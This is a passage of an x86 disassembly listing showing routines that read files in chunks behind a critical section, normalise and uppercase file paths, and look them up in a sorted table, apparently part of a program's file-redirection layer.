		cmp	[ebp+arg_8], eax
		jnb	short loc_4920AE
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_1C], eax
		jmp	short loc_4920B9
; ---------------------------------------------------------------------------

loc_4920AE:				; CODE XREF: sub_49200B+99j
		mov	eax, 10000h
		sub	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax

loc_4920B9:				; CODE XREF: sub_49200B+A1j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_8], eax

loc_4920BF:				; CODE XREF: sub_49200B+15Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_10]
		jbe	loc_49216E
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_8]
		ja	short loc_4920F0
		push	ds:off_49F4F8
		push	0BBh
		push	ds:off_49F4FC
		call	sub_49948C

loc_4920F0:				; CODE XREF: sub_49200B+CDj
		push	[ebp+var_10]
		push	[ebp+arg_0]
		call	sub_491C5C
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_492108
		xor	eax, eax
		jmp	short loc_492171
; ---------------------------------------------------------------------------

loc_492108:				; CODE XREF: sub_49200B+F7j
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		cmp	eax, 10000h
		jnb	short loc_492120
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		jmp	short loc_492127
; ---------------------------------------------------------------------------

loc_492120:				; CODE XREF: sub_49200B+108j
		mov	[ebp+var_20], 10000h

loc_492127:				; CODE XREF: sub_49200B+113j
		mov	ecx, [ebp+var_20]
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+arg_4]
		add	edi, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		cmp	eax, 10000h
		jnb	short loc_492159
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_24], eax
		jmp	short loc_492160
; ---------------------------------------------------------------------------

loc_492159:				; CODE XREF: sub_49200B+141j
		mov	[ebp+var_24], 10000h

loc_492160:				; CODE XREF: sub_49200B+14Cj
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	[ebp+var_8], eax
		jmp	loc_4920BF
; ---------------------------------------------------------------------------

loc_49216E:				; CODE XREF: sub_49200B+BAj
		push	1
		pop	eax

loc_492171:				; CODE XREF: sub_49200B+40j
					; sub_49200B+FBj
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_49200B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492177	proc near		; CODE XREF: sub_49094C+242p
					; sub_490FBF+194p ...

var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0049245D SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F3C8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 3Ch
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_14], 0
		jnz	short loc_4921A8
		lea	eax, [ebp+var_1C]
		mov	[ebp+arg_14], eax

loc_4921A8:				; CODE XREF: sub_492177+29j
		mov	eax, ds:dword_4A28E4
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0
		jz	short loc_4921C9
		mov	eax, [ebp+var_3C]
		add	eax, 10h
		push	eax
		call	ds:dword_49F01C	; RtlEnterCriticalSection
		mov	[ebp+var_40], 1
		jmp	short loc_4921CD
; ---------------------------------------------------------------------------

loc_4921C9:				; CODE XREF: sub_492177+3Dj
		and	[ebp+var_40], 0

loc_4921CD:				; CODE XREF: sub_492177+50j
		movzx	eax, [ebp+var_40]
		test	eax, eax
		jz	loc_49245D
		and	[ebp+var_4], 0
		push	[ebp+arg_0]
		mov	ecx, ds:dword_4A28E4
		call	sub_49C871
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	loc_492436
		cmp	[ebp+arg_10], 0
		jz	short loc_492207
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], 3E5h

loc_492207:				; CODE XREF: sub_492177+85j
		mov	eax, [ebp+var_20]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_492254
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4A277C	; ReadFile
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax
		push	0FFFFFFFFh
		mov	[ebp+var_48], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_48]
		jmp	loc_49245F
; ---------------------------------------------------------------------------

loc_492254:				; CODE XREF: sub_492177+A5j
		cmp	[ebp+arg_10], 0
		jz	short loc_492281
		mov	eax, [ebp+var_20]
		mov	eax, [eax+0Ch]
		and	eax, 40000000h
		test	eax, eax
		jz	short loc_492281
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_20]
		mov	ecx, [ecx+4]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_10]
		mov	ecx, [ecx+8]
		mov	[eax+4], ecx

loc_492281:				; CODE XREF: sub_492177+E1j
					; sub_492177+F0j
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	eax, [eax+4]
		add	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_30]
		cmp	eax, [ecx+8]
		jbe	short loc_4922A7
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_20]
		mov	eax, [eax+8]
		sub	eax, [ecx+4]
		mov	[ebp+var_28], eax

loc_4922A7:				; CODE XREF: sub_492177+11Fj
		cmp	[ebp+arg_C], 0
		jnz	short loc_4922B3
		lea	eax, [ebp+var_2C]
		mov	[ebp+arg_C], eax

loc_4922B3:				; CODE XREF: sub_492177+134j
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0
		cmp	[ebp+arg_8], 0
		jbe	loc_4923B8
		cmp	[ebp+var_28], 0
		jbe	loc_4923B8
		mov	eax, [ebp+var_30]
		mov	eax, [eax+0Ch]
		and	eax, 2
		test	eax, eax
		jz	short loc_4922FE
		push	[ebp+var_28]
		push	[ebp+arg_4]
		push	[ebp+var_20]
		call	sub_49200B
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_4922F9
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx

loc_4922F9:				; CODE XREF: sub_492177+178j
		jmp	loc_4923B6
; ---------------------------------------------------------------------------

loc_4922FE:				; CODE XREF: sub_492177+161j
		and	[ebp+var_34], 0

loc_492302:				; CODE XREF: sub_492177+23Aj
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+var_28]
		jnb	loc_4923B6
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		cmp	eax, 10000h
		jnb	short loc_492326
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_4C], eax
		jmp	short loc_49232D
; ---------------------------------------------------------------------------

loc_492326:				; CODE XREF: sub_492177+1A2j
		mov	[ebp+var_4C], 10000h

loc_49232D:				; CODE XREF: sub_492177+1ADj
		push	[ebp+arg_C]
		push	[ebp+var_4C]
		mov	eax, [ebp+var_30]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_20]
		add	eax, [ecx+4]
		add	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_20]
		call	loc_491A10
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jz	short loc_49237D
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		cmp	eax, 10000h
		jnb	short loc_49236C
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_34]
		mov	[ebp+var_50], eax
		jmp	short loc_492373
; ---------------------------------------------------------------------------

loc_49236C:				; CODE XREF: sub_492177+1E8j
		mov	[ebp+var_50], 10000h

loc_492373:				; CODE XREF: sub_492177+1F3j
		mov	eax, [ebp+arg_C]
		mov	eax, [eax]
		cmp	eax, [ebp+var_50]
		jz	short loc_492383

loc_49237D:				; CODE XREF: sub_492177+1DBj
		and	[ebp+var_24], 0
		jmp	short loc_4923B6
; ---------------------------------------------------------------------------

loc_492383:				; CODE XREF: sub_492177+204j
		mov	[ebp+var_24], 1
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		mov	esi, [ebp+var_38]
		mov	edi, [ebp+arg_4]
		add	edi, [ebp+var_34]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax]
		mov	[ebp+var_34], ecx
		jmp	loc_492302
; ---------------------------------------------------------------------------

loc_4923B6:				; CODE XREF: sub_492177:loc_4922F9j
					; sub_492177+191j ...
		jmp	short loc_4923C5
; ---------------------------------------------------------------------------

loc_4923B8:				; CODE XREF: sub_492177+146j
					; sub_492177+150j
		mov	[ebp+var_24], 1
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0

loc_4923C5:				; CODE XREF: sub_492177:loc_4923B6j
		cmp	[ebp+var_24], 0
		jz	short loc_4923DC
		mov	eax, [ebp+var_20]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_C]
		add	eax, [ecx]
		mov	ecx, [ebp+var_20]
		mov	[ecx+4], eax

loc_4923DC:				; CODE XREF: sub_492177+252j
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_24]
		mov	[eax], ecx
		cmp	[ebp+arg_10], 0
		jz	short loc_49241D
		mov	eax, [ebp+var_20]
		mov	eax, [eax+0Ch]
		and	eax, 40000000h
		test	eax, eax
		jz	short loc_49241D
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+arg_10]
		mov	ecx, [ecx+0Ch]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_10]
		and	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_C]
		mov	ecx, [ecx]
		mov	[eax+4], ecx
		mov	eax, [ebp+arg_10]
		and	dword ptr [eax], 0

loc_49241D:				; CODE XREF: sub_492177+271j
					; sub_492177+280j
		push	0FFFFFFFFh
		mov	[ebp+var_54], 1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_54]
		jmp	short loc_49245F
; ---------------------------------------------------------------------------

loc_492436:				; CODE XREF: sub_492177+7Bj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_492441
		jmp	short loc_49245D
sub_492177	endp


; =============== S U B	R O U T	I N E =======================================



sub_492441	proc near		; CODE XREF: sub_492177+2C3p
					; DATA XREF: _5:0049F3D0o
		mov	eax, ds:dword_4A28E4
		mov	[ebp-44h], eax
		cmp	dword ptr [ebp-44h], 0
		jz	short locret_49245C
		mov	eax, [ebp-44h]
		add	eax, 10h
		push	eax
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_49245C:				; CODE XREF: sub_492441+Cj
		retn
sub_492441	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_492177

loc_49245D:				; CODE XREF: sub_492177+5Cj
					; sub_492177+2C8j
		xor	eax, eax

loc_49245F:				; CODE XREF: sub_492177+D8j
					; sub_492177+2BDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
; END OF FUNCTION CHUNK	FOR sub_492177

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492470	proc near		; CODE XREF: sub_490252+91p
					; sub_49253F+B4p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], ecx
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], 2
		jmp	short loc_492490
; ---------------------------------------------------------------------------

loc_492489:				; CODE XREF: sub_492470+5Ej
					; sub_492470+7Fj ...
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_492490:				; CODE XREF: sub_492470+17j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jnb	loc_492523
		mov	eax, ds:dword_4A2908
		add	eax, [ebp+var_8]
		mov	al, [eax+810h]
		mov	[ebp+var_C], al
		movsx	eax, [ebp+var_C]
		mov	ecx, ds:dword_4A2908
		add	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx+810h]
		cmp	eax, ecx
		jnz	short loc_4924D0
		movsx	eax, [ebp+var_C]
		cmp	eax, 5Ch
		jnz	short loc_4924D0
		jmp	short loc_492489
; ---------------------------------------------------------------------------

loc_4924D0:				; CODE XREF: sub_492470+53j
					; sub_492470+5Cj
		movsx	eax, [ebp+var_C]
		cmp	eax, 2Fh
		jnz	short loc_4924F1
		mov	eax, ds:dword_4A2908
		add	eax, [ebp+var_8]
		mov	byte ptr [eax+810h], 5Ch
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_492489
; ---------------------------------------------------------------------------

loc_4924F1:				; CODE XREF: sub_492470+67j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		jz	short loc_492517
		mov	eax, ds:dword_4A2908
		add	eax, [ebp+var_4]
		mov	ecx, ds:dword_4A2908
		add	ecx, [ebp+var_8]
		mov	cl, [ecx+810h]
		mov	[eax+811h], cl

loc_492517:				; CODE XREF: sub_492470+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	loc_492489
; ---------------------------------------------------------------------------

loc_492523:				; CODE XREF: sub_492470+26j
		mov	eax, ds:dword_4A2908
		add	eax, [ebp+var_4]
		and	byte ptr [eax+811h], 0
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	eax, ecx
		leave
		retn
sub_492470	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49253F	proc near		; CODE XREF: sub_490D24+3Ap
					; sub_491346+19p ...

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_56		= byte ptr -56h
var_55		= byte ptr -55h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 004928BC SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F3D8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	short loc_492570
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0

loc_492570:				; CODE XREF: sub_49253F+29j
		cmp	ds:dword_4A2908, 0
		jnz	short loc_492580
		xor	eax, eax
		jmp	loc_4928BE
; ---------------------------------------------------------------------------

loc_492580:				; CODE XREF: sub_49253F+38j
		and	[ebp+var_1C], 0
		push	offset dword_4A28C8
		call	ds:dword_4A26C4	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		push	4
		push	offset a?	; "\\\\?\\"
		push	[ebp+arg_0]
		call	sub_48D730
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4925B2
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax

loc_4925B2:				; CODE XREF: sub_49253F+68j
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, ds:dword_4A2908
		add	eax, 810h
		push	eax
		push	104h
		push	[ebp+arg_0]
		call	ds:dword_4A2708	; GetFullPathNameA
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	loc_4928A5
		push	[ebp+var_20]
		mov	eax, ds:dword_4A2908
		add	eax, 810h
		push	eax
		call	ds:dword_4A27C8	; CharUpperBuffA
		mov	ecx, [ebp+var_20]
		call	sub_492470
		mov	ecx, [ebp+var_1C]
		sub	ecx, eax
		mov	[ebp+var_1C], ecx
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+0C14h]
		mov	[ebp+var_24], eax
		mov	eax, ds:dword_4A2908
		mov	ecx, [eax+0C14h]
		mov	edi, ds:dword_4A2908
		add	edi, 10h
		mov	esi, ds:dword_4A2908
		add	esi, 810h
		xor	eax, eax
		repe cmpsb
		jz	short loc_492679
		mov	eax, ds:dword_4A2908
		mov	ecx, [eax+0C18h]
		mov	edi, ds:dword_4A2908
		add	edi, 410h
		mov	esi, ds:dword_4A2908
		add	esi, 810h
		xor	eax, eax
		repe cmpsb
		jnz	loc_49281A
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+0C18h]
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_49281A

loc_492679:				; CODE XREF: sub_49253F+F3j
		mov	eax, [ebp+var_24]
		mov	ecx, ds:dword_4A2908
		lea	eax, [ecx+eax+810h]
		mov	[ebp+var_28], eax
		mov	edi, [ebp+var_28]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_34], ecx
		mov	[ebp+var_38], 1
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+0Ch]
		mov	[ebp+var_2C], eax
		and	[ebp+var_30], 0

loc_4926B2:				; CODE XREF: sub_49253F:loc_492752j
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_2C]
		ja	loc_492757
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_2C]
		shr	eax, 1
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_44]
		dec	eax
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax]
		mov	[ebp+var_3C], eax
		push	[ebp+var_34]
		mov	eax, [ebp+var_3C]
		push	dword ptr [eax]
		push	[ebp+var_28]
		call	sub_48D730
		add	esp, 0Ch
		mov	[ebp+var_40], eax
		cmp	[ebp+var_40], 0
		jnz	short loc_49273C
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_34]
		movsx	eax, byte ptr [eax+ecx]
		test	eax, eax
		jz	short loc_49271C
		mov	eax, [ebp+var_3C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_34]
		movsx	eax, byte ptr [eax+ecx]
		cmp	eax, 5Ch
		jnz	short loc_492733

loc_49271C:				; CODE XREF: sub_49253F+1CAj
		mov	eax, [ebp+var_44]
		dec	eax
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+8]
		add	ecx, eax
		mov	[ebp+var_30], ecx
		jmp	short loc_492757
; ---------------------------------------------------------------------------

loc_492733:				; CODE XREF: sub_49253F+1DBj
		mov	eax, [ebp+var_44]
		dec	eax
		mov	[ebp+var_2C], eax
		jmp	short loc_492752
; ---------------------------------------------------------------------------

loc_49273C:				; CODE XREF: sub_49253F+1BAj
		cmp	[ebp+var_40], 0
		jle	short loc_49274B
		mov	eax, [ebp+var_44]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_492752
; ---------------------------------------------------------------------------

loc_49274B:				; CODE XREF: sub_49253F+201j
		mov	eax, [ebp+var_44]
		dec	eax
		mov	[ebp+var_2C], eax

loc_492752:				; CODE XREF: sub_49253F+1FBj
					; sub_49253F+20Aj
		jmp	loc_4926B2
; ---------------------------------------------------------------------------

loc_492757:				; CODE XREF: sub_49253F+179j
					; sub_49253F+1F2j
		cmp	[ebp+var_30], 0
		jz	loc_492815
		cmp	[ebp+arg_4], 0
		jz	short loc_49276F
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_30]
		mov	[eax], ecx

loc_49276F:				; CODE XREF: sub_49253F+226j
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_54], eax

loc_49277F:				; CODE XREF: sub_49253F+272j
		mov	eax, [ebp+var_54]
		mov	al, [eax]
		mov	[ebp+var_55], al
		mov	ecx, [ebp+var_50]
		cmp	al, [ecx]
		jnz	short loc_4927B9
		cmp	[ebp+var_55], 0
		jz	short loc_4927B3
		mov	eax, [ebp+var_54]
		mov	al, [eax+1]
		mov	[ebp+var_56], al
		mov	ecx, [ebp+var_50]
		cmp	al, [ecx+1]
		jnz	short loc_4927B9
		add	[ebp+var_54], 2
		add	[ebp+var_50], 2
		cmp	[ebp+var_56], 0
		jnz	short loc_49277F

loc_4927B3:				; CODE XREF: sub_49253F+253j
		and	[ebp+var_5C], 0
		jmp	short loc_4927C1
; ---------------------------------------------------------------------------

loc_4927B9:				; CODE XREF: sub_49253F+24Dj
					; sub_49253F+264j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh
		mov	[ebp+var_5C], eax

loc_4927C1:				; CODE XREF: sub_49253F+278j
		mov	eax, [ebp+var_5C]
		mov	[ebp+var_60], eax
		cmp	[ebp+var_60], 0
		jnz	short loc_4927D5
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		jmp	short loc_4927DB
; ---------------------------------------------------------------------------

loc_4927D5:				; CODE XREF: sub_49253F+28Cj
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	1

loc_4927DB:				; CODE XREF: sub_49253F+294j
		cmp	[ebp+arg_C], 0
		jz	short loc_4927FA
		push	0
		mov	eax, ds:dword_4A2908
		add	eax, 810h
		push	eax
		call	sub_49A2CA
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax

loc_4927FA:				; CODE XREF: sub_49253F+2A0j
		push	0FFFFFFFFh
		mov	eax, [ebp+var_30]
		mov	[ebp+var_64], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_64]
		jmp	loc_4928BE
; ---------------------------------------------------------------------------

loc_492815:				; CODE XREF: sub_49253F+21Cj
		jmp	loc_4928A5
; ---------------------------------------------------------------------------

loc_49281A:				; CODE XREF: sub_49253F+11Cj
					; sub_49253F+134j
		push	[ebp+var_1C]
		call	sub_499A16
		pop	ecx
		mov	[ebp+var_48], eax
		cmp	[ebp+var_48], 0
		jz	short loc_4928A5
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+8]
		cmp	eax, [ebp+var_48]
		ja	short loc_4928A5
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+0Ch]
		shl	eax, 4
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+8]
		add	ecx, eax
		cmp	[ebp+var_48], ecx
		jnb	short loc_4928A5
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		cmp	[ebp+arg_C], 0
		jz	short loc_49287F
		push	0
		mov	eax, ds:dword_4A2908
		add	eax, 810h
		push	eax
		call	sub_49A2CA
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax

loc_49287F:				; CODE XREF: sub_49253F+325j
		cmp	[ebp+arg_4], 0
		jz	short loc_49288D
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4C]
		mov	[eax], ecx

loc_49288D:				; CODE XREF: sub_49253F+344j
		push	0FFFFFFFFh
		mov	eax, [ebp+var_48]
		mov	[ebp+var_68], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_48D496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_68]
		jmp	short loc_4928BE
; ---------------------------------------------------------------------------

loc_4928A5:				; CODE XREF: sub_49253F+97j
					; sub_49253F:loc_492815j ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4928B0
		jmp	short loc_4928BC
sub_49253F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4928B0	proc near		; CODE XREF: sub_49253F+36Ap
					; DATA XREF: _5:0049F3E0o
		push	offset dword_4A28C8
		call	ds:dword_4A2754	; RtlLeaveCriticalSection
		retn
sub_4928B0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_49253F

loc_4928BC:				; CODE XREF: sub_49253F+36Fj
		xor	eax, eax

loc_4928BE:				; CODE XREF: sub_49253F+3Cj
					; sub_49253F+2D1j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_49253F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4928CF	proc near		; CODE XREF: sub_49BAEB+16p
					; sub_49BB3D+97p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_49253F
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	loc_4929C6
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jnz	loc_4929C6
		cmp	[ebp+var_8], 0
		jz	loc_4929C6
		mov	eax, [ebp+var_8]
		mov	edi, [eax+4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_10], ecx
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+0C14h]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+arg_8]
		jle	short loc_49294F
		mov	eax, [ebp+var_14]
		inc	eax
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_4929C1
; ---------------------------------------------------------------------------

loc_49294F:				; CODE XREF: sub_4928CF+73j
		mov	eax, ds:dword_4A2908
		mov	ecx, [eax+0C14h]
		mov	esi, ds:dword_4A2908
		add	esi, 10h
		mov	edi, [ebp+arg_4]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_10]
		mov	eax, [ebp+var_8]
		mov	esi, [eax+4]
		mov	eax, ds:dword_4A2908
		mov	edi, [ebp+arg_4]
		add	edi, [eax+0C14h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+0C14h]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_4]
		and	byte ptr [ecx+eax], 0
		mov	eax, ds:dword_4A2908
		mov	eax, [eax+0C14h]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax

loc_4929C1:				; CODE XREF: sub_4928CF+7Ej
		push	1
		pop	eax
		jmp	short loc_4929CE
; ---------------------------------------------------------------------------

loc_4929C6:				; CODE XREF: sub_4928CF+29j
					; sub_4928CF+35j ...
		mov	eax, [ebp+arg_C]
		and	dword ptr [eax], 0
		xor	eax, eax

loc_4929CE:				; CODE XREF: sub_4928CF+F5j
		pop	edi
		pop	esi
		leave
		retn
sub_4928CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4929D2	proc near		; CODE XREF: sub_49681E+3Dp
					; sub_49B1C7+29p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

